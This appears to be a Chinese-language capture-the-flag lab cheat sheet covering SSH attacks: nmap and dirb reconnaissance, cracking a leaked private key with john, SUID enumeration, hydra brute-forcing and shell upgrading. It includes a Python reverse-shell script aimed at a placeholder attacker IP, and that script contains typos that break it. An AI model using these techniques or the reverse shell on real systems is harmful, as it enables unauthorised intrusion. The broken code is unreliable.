探测端口:nmap -sV ip
访问:http://ip:port/
隐藏文件探测:dirb http://ip:port/
登入远程文件(ssh):
1.查看文件权限:ls -alh
2.登陆服务器:ssh -i id_rsa 用户名@主机地址
3.赋读写权限:chmod 600 id_rsa
4.转换密钥为john可识别信息:ssh2john ida_isa >isacrack
5.利用字典解密isacrack信息:zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules isacrack
6.切换到根目录:cd /root
7.查找具有root权限的文件:find / -perm -4000 2>/dev/null
8.通过数组溢出提权


ssh协议介绍
SSH为Secure Shell的缩写,由IETF的网络小组(Network Working Group)所制定;SSH为建立在应用层基础的安全协议。
SSH是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用SSH协议可以有效防止远程管理过程中的信息泄露问题。
基于TCP 22号端口的服务
SSH协议认证机制
基于口令的安全验证
基于密钥的安全验证
ida_rsa就是你的密钥,ida_rsa.pub则是你的公钥
信息探测
探测靶场开放的服务与服务版本:nmap -sV 靶场IP地址
探测靶场全部信息:nmap -A -v 靶场IP地址
探测靶场的操作系统类型与版本:nmap -O 靶场IP地址
分析探测结果
对于SSH服务的22端口的靶场,首先考虑:
1.暴力破解
2.私钥泄露(私钥有没有对应的密码,是否可以找到私钥的用户名)
对于开放的http服务的80端口或者其他端口的靶场,首先考虑:
1.通过浏览器访问对应的靶场http服务,如http://靶场IP地址:http服务端口
2.使用探测工具对http的目录进行探测,如dirb http://靶场IP地址:http服务端口/
特别注意 特殊端口(大于1024的端口)
使用nikto扫描器来挖掘敏感信息:nikto -host 靶场IP地址
特别注意config等特殊敏感文件
删除文件:rm 文件名
下载网页文件:wget “http://ip/路径/文件”
pwd:当前目录
扩大战果
登录服务器后
1,查看当前用户whoami
2,id查看当前用户的权限
3,查看根目录寻找flag文件
如果是root权限,那么表明这个靶场就被全部拿下。但是如果不是,就肯定需要提权。一般情况下,flag文件只属于root用户和对应的用户组;
查看所有的列表:Cat /etc/passwd
查看用户组:cat /etc/group
查看属于某些用户的文件:find / -user 用户名
查看缓冲文件目录:/tmp
深入挖掘
反弹shell
靶场代码 |
|---|
| `` |
#!/usr/bin/python |
Import os,subprocess,socket |
s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM) |
s.connect(("攻击机IP地址","攻击机监听端口")) |
os.dup2(s.fieno(),0) |
os.dup2(s.fileno(),1) |
os.dup2(s.fileno(),2) |
p=subprocess.call(["/bin/sh","-i"]) |
攻击机netcat命令:nc -lpv 未占用的端口
查看占用的端口:netstat -pantu
背水一战
万不得已的时候,只能对ssh服务进行暴力破解。破解最后一个用户名。破解工具如hydra,medusa等;
利用cupp创建字典
Git clone https://github.com/jeanphorn/common-password.git
chmod +x cupp.py 可执行文件的赋予
./cupp.py -i 以交互的方式创建字典

优化会话
Python -c "import pty;pty.spawn('/bin/bash')"
su - root
